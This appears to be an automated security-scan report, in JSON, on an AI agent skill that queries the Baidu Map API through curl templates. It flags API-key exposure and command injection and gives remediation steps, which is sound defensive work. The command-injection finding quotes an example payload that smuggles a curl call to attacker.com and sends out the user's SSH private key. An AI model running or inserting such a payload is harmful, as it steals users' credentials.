{
  "skill_name": "baidu-map",
  "skill_path": "/workspace/skills/clawhub-baidu-map-api",
  "skill_directory": "/workspace/skills/clawhub-baidu-map-api",
  "is_safe": false,
  "max_severity": "HIGH",
  "findings_count": 3,
  "findings": [
    {
      "id": "llm_finding_baidu-map_0",
      "rule_id": "LLM_DATA_EXFILTRATION",
      "category": "data_exfiltration",
      "severity": "HIGH",
      "title": "Hardcoded API Key Exposure Risk via Environment Variable",
      "description": "The skill requires users to set their Baidu Map API key (BAIDU_MAP_AK) as an environment variable, which is then directly embedded in curl commands. This creates multiple security risks: (1) The API key is exposed in process listings and command history when curl commands are executed, (2) Shell command history files will contain the plaintext API key, (3) Process monitoring tools can capture the key from command-line arguments, (4) The key may be logged in system logs or audit trails. While using environment variables is better than hardcoding in files, directly interpolating secrets into command-line arguments is a security anti-pattern that exposes credentials.",
      "file_path": "SKILL.md",
      "line_number": null,
      "snippet": "export BAIDU_MAP_AK=\"\u4f60\u7684\u767e\u5ea6\u5730\u56feAccess Key\"\n\ncurl \"https://api.map.baidu.com/place/v2/search?query=[\u5173\u952e\u8bcd]&region=\u5168\u56fd&output=json&ak=$BAIDU_MAP_AK\"",
      "remediation": "Implement secure credential handling: (1) Use a wrapper script that reads the environment variable and passes it via stdin or secure headers rather than command-line arguments, (2) Consider using a credential management system or secure vault, (3) Add warnings in documentation about not exposing API keys in logs or command history, (4) Implement key rotation procedures, (5) Use POST requests with keys in request body instead of GET with keys in URL parameters where possible.",
      "analyzer": "llm",
      "metadata": {
        "model": "claude-sonnet-4-5-20250929",
        "overall_assessment": "The baidu-map skill presents MODERATE security risks primarily related to credential exposure and command injection vulnerabilities. The skill's core functionality (querying Baidu Map APIs via curl) is legitimate, but the implementation has significant security weaknesses: (1) API keys are exposed in command-line arguments and process listings, (2) User input is interpolated into shell commands without sanitization guidance, creating command injection risks, (3) API keys are transmitted via URL parameters which exposes them in logs and caches. The skill lacks executable scripts (only provides curl templates), which reduces immediate risk, but the instructions could lead agents to execute unsafe commands. The missing optional metadata fields and lack of rate limiting guidance are minor issues. Overall, this skill requires security improvements before production use, particularly around credential handling and input validation.",
        "primary_threats": [
          "Data Exfiltration/Exposure (API key exposure in URLs and command-line arguments)",
          "Command Injection (unsanitized user input in shell commands)",
          "Credential Theft (API keys visible in process listings and logs)"
        ],
        "aitech": "AITech-8.2",
        "aitech_name": "Data Exfiltration / Exposure",
        "aisubtech": "AISubtech-8.2.3",
        "aisubtech_name": "Data Exfiltration via Agent Tooling",
        "scanner_category": "SECURITY VIOLATION",
        "meta_validated": true,
        "meta_confidence": "HIGH",
        "meta_confidence_reason": "LLM analyzer correctly identified credential exposure risk. Command-line argument exposure is a documented security issue (CWE-214: Invocation of Process Using Visible Sensitive Information).",
        "meta_exploitability": "Medium - Requires local access or process monitoring capability, but exposure is automatic whenever commands are executed",
        "meta_impact": "Medium - API key theft could lead to quota abuse, unauthorized API usage, or service disruption. Impact limited to Baidu Map API scope."
      }
    },
    {
      "id": "llm_finding_baidu-map_1",
      "rule_id": "LLM_COMMAND_INJECTION",
      "category": "command_injection",
      "severity": "MEDIUM",
      "title": "Command Injection Risk via Unsanitized User Input",
      "description": "All curl commands in the skill instructions directly interpolate user-provided input (marked as [\u5173\u952e\u8bcd], [\u57ce\u5e02], [\u5730\u5740], [\u8d77\u70b9], [\u7ec8\u70b9], etc.) into shell commands without any sanitization or validation guidance. An attacker could inject shell metacharacters or additional curl parameters through these placeholders. For example, a malicious user could provide input like 'test&curl http://attacker.com?data=$(cat ~/.ssh/id_rsa)' which would execute arbitrary commands. While the skill provides templates rather than executable code, it instructs the agent to perform dangerous string interpolation in shell contexts.",
      "file_path": "SKILL.md",
      "line_number": null,
      "snippet": "curl \"https://api.map.baidu.com/place/v2/search?query=[\u5173\u952e\u8bcd]&region=\u5168\u56fd&output=json&ak=$BAIDU_MAP_AK\"\n\ncurl \"https://api.map.baidu.com/geocoding/v3/?address=[\u5730\u5740]&output=json&ak=$BAIDU_MAP_AK\"",
      "remediation": "Add explicit input validation and sanitization instructions: (1) Require URL encoding of all user input before interpolation, (2) Validate input against expected patterns (e.g., city names should only contain letters and spaces), (3) Use curl's --data-urlencode option for automatic encoding, (4) Provide safe examples showing proper escaping: curl -G --data-urlencode \"query=$USER_INPUT\", (5) Add warnings about command injection risks when handling user input in shell commands.",
      "analyzer": "llm",
      "metadata": {
        "model": "claude-sonnet-4-5-20250929",
        "overall_assessment": "The baidu-map skill presents MODERATE security risks primarily related to credential exposure and command injection vulnerabilities. The skill's core functionality (querying Baidu Map APIs via curl) is legitimate, but the implementation has significant security weaknesses: (1) API keys are exposed in command-line arguments and process listings, (2) User input is interpolated into shell commands without sanitization guidance, creating command injection risks, (3) API keys are transmitted via URL parameters which exposes them in logs and caches. The skill lacks executable scripts (only provides curl templates), which reduces immediate risk, but the instructions could lead agents to execute unsafe commands. The missing optional metadata fields and lack of rate limiting guidance are minor issues. Overall, this skill requires security improvements before production use, particularly around credential handling and input validation.",
        "primary_threats": [
          "Data Exfiltration/Exposure (API key exposure in URLs and command-line arguments)",
          "Command Injection (unsanitized user input in shell commands)",
          "Credential Theft (API keys visible in process listings and logs)"
        ],
        "aitech": "AITech-9.1",
        "aitech_name": "Model or Agentic System Manipulation",
        "aisubtech": "AISubtech-9.1.4",
        "aisubtech_name": "Injection Attacks (SQL, Command Execution, XSS)",
        "scanner_category": "INJECTION ATTACK",
        "meta_validated": true,
        "meta_confidence": "HIGH",
        "meta_confidence_reason": "LLM analyzer correctly identified command injection risk. The skill provides shell command templates with direct user input interpolation and no sanitization guidance. This is a well-known security anti-pattern.",
        "meta_exploitability": "Medium - Requires agent to execute user-controlled input in shell context, but the skill explicitly instructs this pattern",
        "meta_impact": "High - Arbitrary command execution could lead to credential theft, data exfiltration, or system compromise"
      }
    },
    {
      "id": "llm_finding_baidu-map_2",
      "rule_id": "LLM_DATA_EXFILTRATION",
      "category": "data_exfiltration",
      "severity": "MEDIUM",
      "title": "Potential Data Exposure via URL-based API Key Transmission",
      "description": "All API calls use GET requests with the API key (ak parameter) embedded directly in the URL query string. This transmission method exposes the API key in multiple ways: (1) URLs are logged in web server access logs, (2) URLs may be cached by proxies and CDNs, (3) URLs appear in browser history and referrer headers, (4) Network monitoring tools can capture URLs in plaintext (if not using HTTPS properly), (5) The key is visible in the agent's command output. While HTTPS encrypts the transmission, the key remains exposed in logs and caches at multiple points in the request chain.",
      "file_path": "SKILL.md",
      "line_number": null,
      "snippet": "curl \"https://api.map.baidu.com/place/v2/search?query=[\u5173\u952e\u8bcd]&region=\u5168\u56fd&output=json&ak=$BAIDU_MAP_AK\"",
      "remediation": "Migrate to more secure API key transmission methods: (1) Use POST requests with the API key in the request body instead of URL parameters, (2) If the API supports it, use header-based authentication (e.g., Authorization header), (3) Implement request signing instead of sending raw API keys, (4) Add documentation warning users about API key exposure in logs, (5) Recommend API key rotation policies, (6) Consider implementing a proxy service that handles authentication server-side.",
      "analyzer": "llm",
      "metadata": {
        "model": "claude-sonnet-4-5-20250929",
        "overall_assessment": "The baidu-map skill presents MODERATE security risks primarily related to credential exposure and command injection vulnerabilities. The skill's core functionality (querying Baidu Map APIs via curl) is legitimate, but the implementation has significant security weaknesses: (1) API keys are exposed in command-line arguments and process listings, (2) User input is interpolated into shell commands without sanitization guidance, creating command injection risks, (3) API keys are transmitted via URL parameters which exposes them in logs and caches. The skill lacks executable scripts (only provides curl templates), which reduces immediate risk, but the instructions could lead agents to execute unsafe commands. The missing optional metadata fields and lack of rate limiting guidance are minor issues. Overall, this skill requires security improvements before production use, particularly around credential handling and input validation.",
        "primary_threats": [
          "Data Exfiltration/Exposure (API key exposure in URLs and command-line arguments)",
          "Command Injection (unsanitized user input in shell commands)",
          "Credential Theft (API keys visible in process listings and logs)"
        ],
        "aitech": "AITech-8.2",
        "aitech_name": "Data Exfiltration / Exposure",
        "aisubtech": "AISubtech-8.2.3",
        "aisubtech_name": "Data Exfiltration via Agent Tooling",
        "scanner_category": "SECURITY VIOLATION",
        "meta_validated": true,
        "meta_confidence": "MEDIUM",
        "meta_confidence_reason": "This is a real exposure risk, but it's inherent to Baidu Map API design (not the skill's fault). The skill correctly uses HTTPS. Impact is limited since API keys can be restricted by IP/domain.",
        "meta_exploitability": "Low - Requires access to server logs or network traffic. Baidu provides IP whitelisting to mitigate this.",
        "meta_impact": "Low - API key exposure limited to Baidu Map services. Can be mitigated with IP restrictions."
      }
    }
  ],
  "scan_duration_seconds": 44.91433596611023,
  "duration_ms": 44914,
  "analyzers_used": [
    "static_analyzer",
    "llm_analyzer",
    "meta_analyzer"
  ],
  "timestamp": "2026-02-07T19:30:13.550009"
}